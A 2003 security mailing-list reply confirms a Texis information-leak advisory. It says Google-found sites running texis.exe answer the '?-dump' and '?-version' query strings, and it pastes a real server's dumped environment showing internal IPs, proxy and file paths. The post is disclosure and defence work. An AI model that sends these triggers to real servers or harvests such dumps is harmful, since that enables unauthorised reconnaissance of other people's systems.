Re: @(#)Mordred Labs advisory - Texis sensitive information leak

From: Kurt Seifried (listuserat_private)
Date: Fri Mar 14 2003 - 18:15:23 PST

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Confirmed. Time to configure your web application proxies to block the
naughty strings. Doing a google search for texis.exe turns up some
interesting sites, all of which respond to ?-dump and ?-version.  The
information provided is significant including local ip and forwarding IP (so
you can determine load balancing/etc setups quite easily):

==========================
Environment
ALLUSERSPROFILE='C:\Documents and Settings\All Users'
CommonProgramFiles='C:\Program Files\Common Files'
COMPUTERNAME='SDTIWEB'
ComSpec='C:\WINNT\system32\cmd.exe'
CONTENT_LENGTH='0'
GATEWAY_INTERFACE='CGI/1.1'
HTTPS='off'
HTTP_ACCEPT='image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/vnd.ms-excel, application/msword, application/x-shockwave-flash,
*/*'
HTTP_ACCEPT_LANGUAGE='en-us'
HTTP_CONNECTION='keep-alive'
HTTP_HOST='www.[VICTIM_NAME_REMOVED].com'
HTTP_USER_AGENT='Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)'
HTTP_VIA='1.1 [WEB_PROXY_REMOVED]:3128 (Squid/2.4.STABLE7)'
HTTP_ACCEPT_ENCODING='gzip, deflate'
HTTP_X_FORWARDED_FOR='10.2.0.20'
HTTP_CACHE_CONTROL='max-age=259200'
INSTANCE_ID='1'
LOCAL_ADDR='192.168.12.22'
NUMBER_OF_PROCESSORS='2'
Os2LibPath='C:\WINNT\system32\os2\dll;'
OS='Windows_NT'
Path='C:\WINNT\system32;C:\WINNT;C:\WINNT\System32\Wbem'
PATHEXT='.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH'
PATH_TRANSLATED='N:\[VICTIM_NAME_REMOVED]\Inetpub\betaroot'
PROCESSOR_ARCHITECTURE='x86'
PROCESSOR_IDENTIFIER='x86 Family 6 Model 11 Stepping 1, GenuineIntel'
PROCESSOR_LEVEL='6'
PROCESSOR_REVISION='0b01'
ProgramFiles='C:\Program Files'
QUERY_STRING='-dump'
REMOTE_ADDR='24.86.189.174'
REMOTE_HOST='24.86.189.174'
REQUEST_METHOD='GET'
SCRIPT_NAME='/programs/texis.exe'
SERVER_NAME='www.[VICTIM_NAME_REMOVED].com'
SERVER_PORT='80'
SERVER_PORT_SECURE='0'
SERVER_PROTOCOL='HTTP/1.0'
SERVER_SOFTWARE='Microsoft-IIS/5.0'
SystemDrive='C:'
SystemRoot='C:\WINNT'
TEMP='C:\WINNT\TEMP'
TMP='C:\WINNT\TEMP'
USERPROFILE='C:\Documents and Settings\Default User'
windir='C:\WINNT'

Command line
N:\[VICTIM_NAME_REMOVED]\Inetpub\Webinator4\texis.exe -dump
Miscellaneous
32-bit files

Variables
$urlroot='/programs/texis.exeN:\rsasfiles\Inetpub\betaroot'
$pathroot='N:\[VICTIM_NAME_REMOVED]\Inetpub\betaroot'
$sourcepath='N:\[VICTIM_NAME_REMOVED]\Inetpub\betaroot'

==========================

Kurt Seifried, kurtat_private
A15B BEE5 B391 B9AD B0EF
AEB0 AD63 0B4E AD56 E574
http://seifried.org/security/

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